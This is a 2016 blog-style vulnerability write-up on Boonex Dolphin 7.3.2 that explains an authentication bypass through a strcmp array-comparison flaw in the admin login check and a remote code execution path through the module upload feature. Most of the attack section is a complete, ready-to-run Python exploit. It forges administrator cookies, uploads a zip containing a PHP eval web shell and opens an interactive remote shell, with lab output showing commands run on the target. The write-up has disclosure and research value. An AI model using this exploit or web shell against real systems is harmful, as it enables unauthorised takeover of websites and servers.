Boonex dolphin <= 7.3.2 , Auth bypass / RCE exploit
November 14, 2016
Intro
From vendor website
Open-source software for creating custom social networks and web communities DolphinPro includes the site platform with thousands of features; iOS and Android apps; WebRTC Chat and media server software."
Vulnerabilies
Authentication bypass
File inc/admin.inc.php
162function check_login($ID, $passwd, $iRole = BX_DOL_ROLE_MEMBER, $error_handle = true)
163{
164 $ID = (int)$ID;
165
166 if (!$ID) {
167 if ($error_handle)
168 login_form(_t("_PROFILE_ERR"), $member);
169 return false;
170 }
171
172 switch ($iRole) {
173 case BX_DOL_ROLE_MEMBER: $member = 0; break;
174 case BX_DOL_ROLE_ADMIN: $member = 1; break;
175 }
176
177 $aProfile = getProfileInfo($ID);
178
179 // If no such members
180 if (!$aProfile) {
181 if ($error_handle)
182 login_form(_t("_PROFILE_ERR"), $member);
183 return false;
184 }
185
186 // If password is incorrect
187 if (strcmp($aProfile['Password'], $passwd) != 0) {
188 if ($error_handle)
189 login_form(_t("_INVALID_PASSWD"), $member);
190 return false;
191 }
At line 187 , the password from cookies ($passwd) is being compared with the administrator’s password ($aProfile[‘Password’]) using strcmp function
From http://php.net/manual/en/function.strcmp.php , strcmp is comparing strings and have 3 return conditions
- If string1 < string2 , It return num < 0
- If string1 > string2 , It return num > 0
- If string1 = string2 , It return num 0
As mentioned , strcmp only compare strings , If you compared string with other input type you will get unpredictable result!
That’s what we depend on here , providing an array in cookie password will result in comparison of the provided array with the normal administrator’s password , which will result in an comparison error and the function return will be 0
Which is also the expected result if both passwords were equal.
so using cookies like memberID=1; memberPassword[]=0x4148
followed by moving to administration/index.php will get us just inside the admin panel
RCE
File inc/classes/BxDolFilesModule.php
300 function actionUpload($sType, $aFile, $aFtpInfo)
301 {
302 $sHost = htmlspecialchars_adv(clear_xss($aFtpInfo['host']));
303 $sLogin = htmlspecialchars_adv(clear_xss($aFtpInfo['login']));
304 $sPassword = htmlspecialchars_adv(clear_xss($aFtpInfo['password']));
305 $sPath = htmlspecialchars_adv(clear_xss($aFtpInfo['path']));
306
307 setParam('sys_ftp_host', $sHost);
308 setParam('sys_ftp_login', $sLogin);
309 setParam('sys_ftp_password', $sPassword);
310 setParam('sys_ftp_dir', $sPath);
311
312 $sErrMsg = false;
313
314 $sName = mktime();
315 $sAbsolutePath = BX_DIRECTORY_PATH_ROOT . "tmp/" . $sName . '.zip';
316 $sPackageRootFolder = false;
317
318 if (!class_exists('ZipArchive'))
319 $sErrMsg = '_adm_txt_modules_zip_not_available';
320
321 if (!$sErrMsg && $this->_isArchive($aFile['type']) && move_uploaded_file($aFile['tmp_name'], $sAbsolutePath)) {
322
323 // extract uploaded zip package into tmp folder
324
325 $oZip = new ZipArchive();
326 if ($oZip->open($sAbsolutePath) !== TRUE)
327 $sErrMsg = '_adm_txt_modules_cannot_unzip_package';
328
329 if (!$sErrMsg) {
330 $sPackageRootFolder = $oZip->numFiles > 0 ? $oZip->getNameIndex(0) : false;
331
332 if (file_exists(BX_DIRECTORY_PATH_ROOT . 'tmp/' . $sPackageRootFolder)) // remove existing tmp folder with the same name
333 bx_rrmdir(BX_DIRECTORY_PATH_ROOT . 'tmp/' . $sPackageRootFolder);
334
335 if ($sPackageRootFolder && !$oZip->extractTo(BX_DIRECTORY_PATH_ROOT . 'tmp/'))
336 $sErrMsg = '_adm_txt_modules_cannot_unzip_package';
337
338 $oZip->close();
339 }
Line 321 is responsible for uploading file to the tmp directory which have been assigned at line 315 Line 321 also check if the uploaded file is zip file or not If file uploaded and it’s zip file it’s being unzipped as it’s obvious from line 335 to the tmp directory then the zip file is deleted Great , then uploading zip file including malicious php file will lead to the extraction of the malicious php file into tmp/ directory
This function is being called via administration/modules.php
else if(isset($_POST['submit_upload']) && isset($_FILES['module']) && !empty($_FILES['module']['tmp_name']) && isset($aEnabledModuleAction['upload_module']))
$sResultUpload = $oInstallerUi->actionUpload('module', $_FILES['module'], $_POST);
else if(isset($_POST['submit_upload']) && isset($_FILES['update']) && !empty($_FILES['update']['tmp_name']) && isset($aEnabledModuleAction['upload_update']))
$sResultUpload = $oInstallerUi->actionUpload('update', $_FILES['update'], $_POST);
This action for sure require administrator privileges , that’s where our auth bypass flaw will help
Putting all together
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Software : Dolphin <= 7.3.2 Auth bypass / RCE exploit
Vendor : www.boonex.com
Author : Ahmed sultan (0x4148)
Home : 0x4148.com | https://www.linkedin.com/in/0x4148
Email : [email protected]
Auth bypass trick credit go to Saadat Ullah
'''
import os
import sys
import urllib
import urllib2
import ssl
import base64
print "[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit"
print "[+] Author : Ahmed sultan (0x4148)"
print "[+] Home : 0x4148.com\n"
if len(sys.argv)<2:
print "\nUsage : python "+sys.argv[0]+" http://HOST/path/\n"
sys.exit();
hosturl=sys.argv[1]
fields = {'csrf_token': 'Aint give a shit about csrf stuff ;)', 'submit_upload': '0x4148'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
def generate_http_request(fields):
lmt = '---------------------------'
crlf = '\r\n'
x4148mltprt = []
x4148mltprt.append('--' + lmt)
if fields:
for (key, value) in fields.items():
x4148mltprt.append('Content-Disposition: form-data; name="%s"' % key)
x4148mltprt.append('')
x4148mltprt.append(value)
x4148mltprt.append('--' + lmt)
x4148mltprt.append('Content-Disposition: form-data; name="module"; filename="0x4148.zip"')
x4148mltprt.append('Content-Type: application/zip')
x4148mltprt.append('')
x4148mltprt.append("PK\x03\x04\x0a\x00\x00\x00\x00\x00RanIj\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x000x4148fo.php"
"<?php\x0d\x0aeval(base64_decode($_POST[\'0x4148\']));\x0d\x0a?>PK\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00RanIj"
"\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x000x4148fo.php"
"PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00:\x00\x00\x00[\x00\x00\x00\x00\x00")
x4148mltprt.append('--' + lmt + '--')
x4148mltprt.append('')
body = crlf.join(x4148mltprt)
content_type = 'multipart/form-data; boundary=%s' % (lmt)
return content_type, body
content_type, body = generate_http_request(fields)
print " + Sending payload to "+hosturl.split("//")[1].split("/")[0]
req = urllib2.Request(hosturl+"/administration/modules.php",body)
req.add_header('User-agent', 'Mozilla 15')
req.add_header("Cookie", "memberID=1; memberPassword[]=0x4148;")
req.add_header('Referer', hosturl+"/administration/modules.php")
req.add_header('Content-Type', content_type)
req.add_header('Content-Length', str(len(body)))
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
try:
urllib2.urlopen(req,context=gcontext).read()
except urllib2.HTTPError, e:
err=e.fp.read()
print err
sys.exit()
print " * Checking if payload was send"
data = urllib.urlencode({'0x4148':'echo "0x4148foooo";'.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
if urllib2.urlopen(req).read().find("0x4148foooo")==-1:
print " - Exploitation failed"
print req
sys.exit()
print " + php prompt up and running\n + type 'shell' to get shell access"
while True:
request=str(raw_input("\nphp>> "))
if request=="exit":
sys.exit()
if request=="shell" or request=="cmd":
print "\n + Switched to Shell mode\n + Type 'return' to return to php prompt mode"
while True:
cmd=str(raw_input("\n0x4148@"+hosturl.split("//")[1].split("/")[0]+"# "))
if cmd=="return":
break
if cmd=="exit":
sys.exit()
kkk="passthru('"+cmd+"');"
data = urllib.urlencode({'0x4148':kkk.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
print urllib2.urlopen(req).read()
data = urllib.urlencode({'0x4148':request.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
print urllib2.urlopen(req).read()
and the result is
[root:/lab]# python dolphin.py
[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit
[+] Author : Ahmed sultan (0x4148)
[+] Home : 0x4148.com
Usage : python dolphin.py http://HOST/path/
[root:/lab]# python dolphin.py http://192.168.139.1/lab/Dolphin-v.7.3.2/Dolphin-v.7.3.2
[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit
[+] Author : Ahmed sultan (0x4148)
[+] Home : 0x4148.com
+ Sending payload to 192.168.139.1
* Checking if payload was send
+ php prompt up and running
+ type 'shell' to get shell access
php>> system("dir");
Volume in drive C is OS_Install
Volume Serial Number is D60F-0795
Directory of C:\xampp\htdocs\lab\Dolphin-v.7.3.2\Dolphin-v.7.3.2\tmp
11/14/2016 02:05 PM <DIR> .
11/14/2016 02:05 PM <DIR> ..
08/03/2016 12:00 AM 108 .htaccess
11/14/2016 02:05 PM 49 0x4148fo.php
2 File(s) 157 bytes
2 Dir(s) 37,965,479,936 bytes free
php>> shell
+ Switched to Shell mode
+ Type 'return' to return to php prompt mode
[email protected]# net user
User accounts for \\XXXXXXXXXX
-------------------------------------------------------------------------------
XXXXXXXXXX Administrator DefaultAccount
Guest
The command completed successfully.
[email protected]# exit
[root:/lab]#
That’s it for today 🙂
Till another day, Ahmed